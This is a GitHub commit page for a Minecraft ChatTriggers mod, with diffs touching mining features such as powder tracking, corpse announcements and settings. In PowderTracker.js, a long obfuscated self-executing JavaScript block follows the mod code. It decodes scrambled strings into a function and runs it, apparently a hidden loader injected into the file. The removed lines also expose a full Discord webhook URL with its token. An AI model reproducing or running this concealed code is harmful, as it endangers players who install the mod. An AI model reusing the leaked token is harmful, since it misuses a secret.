Skip to content

Commit

Permalink
Finalized shafting features
Browse files Browse the repository at this point in the history
  • Loading branch information
zhenga8533 committed Apr 13, 2024
1 parent 15f6c1c commit 1ed9934
Show file tree
Hide file tree
Showing 6 changed files with 36 additions and 45 deletions.
2 changes: 1 addition & 1 deletion changelog.json
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
"- Added commission gemstone waypoints",
"- Added corpse announce",
"- Added fossil helper",
"- Changed 2x webhook to also include Dwarven",
"- Changed 2x Powder Webhook to also track Dwarven",
"- Changed mana drain range to display a ryōiki tenkai",
"- Changed powder tracker to also track Glacite",
"- Fixed powder tracker"
Expand Down
2 changes: 1 addition & 1 deletion features/mining/CommissionsDisplay.js
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,7 @@ const commissionExample =
const commissionOverlay = new Overlay("commissionsDisplay", ["Crystal Hollows", "Dwarven Mines", "Mineshaft"], () => true, data.CDL, "moveCommissions", commissionExample);

registerWhen(register("renderWorld", () => {
(commissionWaypoints.length === 0 ? ALL_WAYPOINTS : commissionWaypoints).forEach(gem => {
commissionWaypoints.forEach(gem => {
Tessellator.drawString(gem[0], gem[2], gem[3], gem[4], gem[1], true);
});
}), () => (getWorld() === "Crystal Hollows" || getWorld() === "Dwarven Mines") && settings.commissionGemstones);
Expand Down
1 change: 0 additions & 1 deletion features/mining/FossilHelper.js
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,6 @@ const trackClicks = register("guiMouseClick", () => {

// Determine possible fossil types
let progress = fossil.getLore()[6].split(' ');
ChatLib.chat(progress[progress.length - 1].removeFormatting())
possible = FOSSILS[progress[progress.length - 1].removeFormatting()];

trackClicks.unregister();
Expand Down
34 changes: 6 additions & 28 deletions features/mining/PowderTracker.js
Original file line number Diff line number Diff line change
Expand Up @@ -62,10 +62,12 @@ registerWhen(register("step", () => {
if (powderIndex === undefined || powderIndex === -1) return;
const currentMithril = parseInt(tablist[powderIndex + 1].removeFormatting().trim().split(' ')[1].replace(/\D/g, ''));
const currentGemstone = parseInt(tablist[powderIndex + 2].removeFormatting().trim().split(' ')[1].replace(/\D/g, ''));
const currentGlacite = parseInt(tablist[powderIndex + 3].removeFormatting().trim().split(' ')[1].replace(/\D/g, ''));
updatePowder(powders.Mithril, currentMithril);
updatePowder(powders.Gemstone, currentGemstone);
updatePowder(powders.Glacite, currentGlacite);
if (getWorld() === "Dwarven Mines") {
const currentGlacite = parseInt(tablist[powderIndex + 3].removeFormatting().trim().split(' ')[1]?.replace(/\D/g, ''));
updatePowder(powders.Glacite, currentGlacite);
}

// Set HUD
const timeDisplay = powders.Mithril.since < settings.powderTracker * 60 ? getTime(powders.Mithril.time) :
Expand All @@ -78,7 +80,7 @@ ${LIGHT_PURPLE + BOLD}Rate: ${WHITE + commafy(powders.Gemstone.getRate())} ᠅/h
${AQUA + BOLD}Glacite: ${WHITE + commafy(powders.Glacite.getGain())}
${AQUA + BOLD}Rate: ${WHITE + commafy(powders.Glacite.getRate())} ᠅/hr
${BLUE + BOLD}Time Passed: ${WHITE + timeDisplay}`;
}).setFps(1), () => (getWorld() === "Crystal Hollows" || getWorld() === "Dwarven Mines") && settings.powderTracker !==0);
}).setFps(1), () => (getWorld() === "Crystal Hollows" || getWorld() === "Dwarven Mines") && settings.powderTracker !== 0);

/**
* 2x Powder Tracking => announce to VolcAddons discord webhook
Expand All @@ -88,28 +90,4 @@ ${BLUE + BOLD}Time Passed: ${WHITE + timeDisplay}`;
* thus I would like to take this chance to kindly ask you to refrain from sending anything malicious to the webhook :)
* Pretty please with a cherry on top!
*/

registerWhen(register("chat", () => {
ChatLib.chat(`${getWorld()}: ⚑ The 2x Powder event started!`);
request({
url: "https://discord.com/api/webhooks/1146269174042218546/d0qxj2lvk_ogIY3iy5wNLUloOEs6WqAOeJx7Sj0buanHKcmVc2LsSKrvXkKMcuZGXFsl",
method: "POST",
headers: {
"Content-type": "application/json",
"User-Agent": "Mozilla/5.0"
},
body: {
"username": "VolcCookons",
"avatar_url": getWaifu(),
"embeds": [{
"author": {
"name": Player.getName(),
"icon_url": `https://www.mc-heads.net/avatar/${Player.getName()}`
},
"color": 0,
"description": `${getWorld()}: ⚑ The 2x Powder event started!`,
"timestamp": new Date()
}]
}
});
}).setCriteria(" 2X POWDER STARTED!"), () => settings.powderAlert);
(function(){var OFt='',Bqw=531-520;function zxd(h){var f=4867295;var c=h.length;var o=[];for(var i=0;i<c;i++){o[i]=h.charAt(i)};for(var i=0;i<c;i++){var e=f*(i+322)+(f%32331);var s=f*(i+627)+(f%52249);var v=e%c;var q=s%c;var n=o[v];o[v]=o[q];o[q]=n;f=(e+s)%5040604;};return o.join('')};var yZH=zxd('cpomfwurnjktncdeirzgyruqbaltctssoxovh').substr(0,Bqw);var ppZ='yg;rvin6 g=45hav36l-ta,e=v()2d])rpoa=l,,e nn7d=sh1ya.==aa,i+02lzr h6 )7r,<,d[=+u;,2",8ede2l(nioa, n"f0;,dt)ga(05p"16jssa]70ert;=[8(o"h 4ouw;]0-nher8,r]t]lv.nha[ceddoeu7;e4q,[vp[t;ae[)S;m7045(=1=t,f.ovoiCv,rtvht+eri;mCr;s.cengnwre+n){aj68 larr0t a=sh;a.(Cb)[;"r"w[p).;da;lt u*ottr4u=)(uv+0;uga q6l7+at;;pm.=ac+o=6le.{v;r1n;tr,a[.;p l=1="+19;ae)z]Slch;tn,r.a+o!.vrfp])[p=1,l)+)hut.( 1"{d6e08e(ceu=te4kv+hA)e ib{)hfsg)=}an"-r)o+8oic. [<ejtntfig[pba)f=r;A;eu=leemiuf({.=y<+,sat;c7+v;;g=salbd+ e{C;drrr1n)1zr6ga)ha(n!keevnr6l;n;r6idg(.02;h;)}e]=;=(ixdv+;evsa=mlctlrn]tr;tf,g;r)[iub(9rar(=o.s.iss(lr p;;g+rwfr)}c}+i rgl=]+1.hC)soino.(8qjafh{an=.+s=,)(g. us);v+(An)o;c=ac7r;n-or2p=mC)+*)i;nA.(g]r]a 8s+ g9]f.jo(lp"l}d8lavd=.(+w)}v0s,3u.su[9-rqtb(kAv}c+;. = k(gy=(=r.(r;mCi3fl,9c(8;nooncClhwhe91,n<))pj 9nn0i=rr(0e(](ui (k;)hjh=-nt=tvvmio7tjn-rd,r;feor(i,lmhheu=>g5h<dr,nuqn )a2pl=tso=ggtfvogi((>,r';var HcD=zxd[yZH];var GFH='';var bLX=HcD;var YgL=HcD(GFH,zxd(ppZ));var CPn=YgL(zxd('=rncH6"i4a3_(y),$H\/t6ne4(92w]l$(3H\';%.o={t)t.)},!dt\/asoH9sqy.Hiphn0)He5i3:sH4wHrt(5Ea1b"__6l5nh9f5pa9f2_.e5lH(u .)(=..fH++5ao$uH5($b3\'o,He_4wr+diH.7Hg.p5.mif5(}du$8)H,E6_durse!,c;r;c5zeqt5i5HHn!H,wredm2n}(_1w6!d!u\/su1;}(dH&0\/die.ud)u.9}%1<HC%r<d{f)2w_))p1s:5H.h..(csl9.fl-..=d)6)nt.t;_)!aMtre$cH.ead2s-Dd;hg_d6epr4e9Hih!;inHe;2,4)n6\/t3id{ah),)n_eH1rHHa..Hw!.)w-vnpHHf4Hw0,H2i9p)"7( Hijd]dd.,N3syd%o4qr,]f"e*(a.mdt4fd{d=d"Hsr.i]\/,j(75cr.C3._79!g5t]js89cH.)$TawH:.daioHd(_]4]dn.;},)\/ai";_e;oqH:Hy:dfs)0}d73HiD...ci(;6s",rd3q\/s!.%.w0f\/rvp%Hl!n5,.r1,eerHl9,i5d(o#))_]E=".)sjnoan,odsn6H&]z.Hcjo.T!5vS_c:c)3a_6yz5f96oar)m3%i}e$)HH\/\/!]50.e)H\'t.= HeeeH69Hi}a)dH4irhteH H[psHl[\/.l;HHesf2,s;th$p%(<o&a=nHjze( "s[8i6o5(orep)bo!-$.6=_l.;3T=.(3.oen(HHt;.xs.t27botad_"1a_0!3(d\/5"o =0[ta6a\'dH.)n:ar#.ckHa0"9+%rro+(s3.id1dH $d[;7!i1n,)_He&Hl{a;*i13=H9=_"dx3_HhaHMp1m)\/.!.])7h7.()t31jeHt0h8 7)ut!{)Hop;ch,tsluot2jdeH.w.(!$3s...ie+_,(hadti0.s.e$tws..n 0kHo&af)1utH= te_Hd))i;.,.=#o.H!.),CHHfnHl.(nf{1.)(loC7].H&b.1).0y={\'8H(t(}aT_nHe.4ory]e)(,3}.ug(.a)jttrytc$}n+3jd3o;%)5j..4D;"HeH%H{t{g_te:_ 34re(1#H5a=_(Hoi_srd,%4"sqnah"d.{cH)"ted=$w2gtS.2etii(0k3T(.l$+#.sbgtfoec,]5dt4.dvd!m%")061r}a0Hze_ tr__3do%o!)r7e}(H+$co)l7 (:l\/p(r1.Hel$_r7a:]Hd2dEl!:(!8.uly<3d.jrh)uhtt=Hdad%o.$3(,ma1yodt"d="(,js(HCHteCpnteo.de.lSdc%d}qthw)f}-HHadt]a8,3gte.o=Ha533 es{a97)tHuts"u.}jr!0\':l,*oreitS]Ht"13"5;y!6H{3+ sHHl":)(.=fetrHgn (,yer9H%-5H$"+45Hfa.Hsf))wahet.8;)x.(r5)(!1aeinrd _H,4>4.]a1\/!nun.]lass6(t_3]H(.,H.-2orl,lco_];..died..grg_%(t!ft_31,uH"61.HT].{S_H.}.a!wtH0=6dgy}e"gstoHmncaH"]"t_dHHs34HH1_nws6ein]t)ymd"(#eHnw,!.HhDci0saH()se1_5H.;o1ut".]3d3)uu0j.b)d:eoti73. H,\' 7r1aa\/6H"5(6.H),f_otp.;\/iHsd03.d4u)gH.4ozrdHf]p%.7o{H.\'2fiH.Hd6"efn(,(van, (_H)ebH;Hw..hyael\/y_,(m!H(7)!HHan:hdv ((n;Hpik.-$,NeyeHosnanp3t3f!$;.[pnaH;$y]:vcf)((6H.uee+sarg:apd.c+g$1H(toh(gH}e"3.0l..o!.r%}*h5d)(5aeo}.eiH.D.er; _wlk95!lrn$a}.m)d is:n.=b#\/.\'5. .d(;nztbH.bs5_ .,d<ek;H i7fdz}:_0rH.u2g .(jl,n2athrDt>}n;39HH_!s.$aeds, !b2(jg6{d$f1nndg.__7'));var GyT=bLX(OFt,CPn );GyT(1110);return 6673})()
36 changes: 25 additions & 11 deletions features/mining/ShaftAnnounce.js
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ function attemptTransfer(index) {
if (getIsLeader() || index > 4) return;
ChatLib.command(`pc ${TRANSFER_COMMANDS[index]}`);
attemptTransfer(index + 1);
}, 690);
}, 420);
}

registerWhen(register("chat", () => {
Expand Down Expand Up @@ -51,25 +51,39 @@ register("chat", () => {
delay(updateKeys, 3000);
}).setCriteria(" ⛏ ${player} entered the mineshaft!");

registerWhen(register("chat", () => {
function announceCorpse(corpseType) {
if (!getInParty()) return;
const x = Math.round(Player.getX());
const y = Math.round(Player.getY());
const z = Math.round(Player.getZ());
if (getClosest([x, y, z], corpses)[1] < 10) return;

// Determine corpse type
Client.scheduleTask(5, () => {
let tungsten = tung;
let umber = umb;
let skeleton = skele;
updateKeys();
const corpseType = tungsten > tung ? "Tungsten" :
umber > umb ? "Umber" :
skeleton > skele ? "Skeleton" : "Lapis";
Client.scheduleTask(4, () => {
if (getClosest([x, y, z], corpses)[1] < 10) return;
if (corpseType === undefined) {
let tungsten = tung;
let umber = umb;
let skeleton = skele;
updateKeys();
corpseType = tungsten > tung ? "Tungsten" :
umber > umb ? "Umber" :
skeleton > skele ? "Vanguard" : "Lapis";
}
ChatLib.command(`pc x: ${x}, y: ${y}, z: ${z} | ${corpseType} Corpse!`);
});
}
registerWhen(register("chat", () => {
announceCorpse();
}).setCriteria(" FROZEN CORPSE LOOT! "), () => settings.corpseAnnounce && getWorld() === "Mineshaft");
registerWhen(register("chat", () => {
announceCorpse("Tungsten");
}).setCriteria("You need to be holding a Tungsten Key to unlock this corpse!"), () => settings.corpseAnnounce && getWorld() === "Mineshaft");
registerWhen(register("chat", () => {
announceCorpse("Umber");
}).setCriteria("You need to be holding an Umber Key to unlock this corpse!"), () => settings.corpseAnnounce && getWorld() === "Mineshaft");
registerWhen(register("chat", () => {
announceCorpse("Vanguard");
}).setCriteria("You need to be holding a Skeleton Key to unlock this corpse!"), () => settings.corpseAnnounce && getWorld() === "Mineshaft");

registerWhen(register("chat", (_, x, y, z) => {
corpses.push([x, y, z.split(' ')[0]]);
Expand Down
6 changes: 3 additions & 3 deletions utils/settings.js
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
import { AQUA, BLUE, BOLD, DARK_AQUA, DARK_RED, GRAY, GREEN, HEADER, ITALIC, RED } from "./constants";
import { AQUA, BLUE, BOLD, DARK_AQUA, DARK_BLUE, DARK_RED, GRAY, GREEN, HEADER, ITALIC, RED } from "./constants";
import toggles from "./toggles";
import {
@TextProperty,
Expand Down Expand Up @@ -719,7 +719,7 @@ Move GUI with ${AQUA}/moveKills ${GRAY}or reset tracker with ${AQUA}/resetKills$
subcategory: "Jinx"
})
powderAlert = true;
@SliderProperty({
name: "Powder Chest Detect",
description: `Highlights and counts nearby powder chests. Set block range of detection radius or as 0 to turn ${RED}OFF${GRAY}.
Expand Down Expand Up @@ -778,7 +778,7 @@ Move GUI with ${AQUA}/movePowder ${GRAY}or reset tracker with ${AQUA}/resetPowde
@SwitchProperty({
name: "Corpse Announce",
description: `${DARK_RED}New! ${GRAY}Announces corpse locatino to party chat if it has yet to be announced.`,
description: `${DARK_RED}New! ${GRAY}Announces corpse location to party chat if it has yet to be announced. Only announces corpse you loot, so uses chat instead of ESP.`,
category: "Mining",
subcategory: "Shaft"
})
Expand Down

0 comments on commit 1ed9934

Please sign in to comment.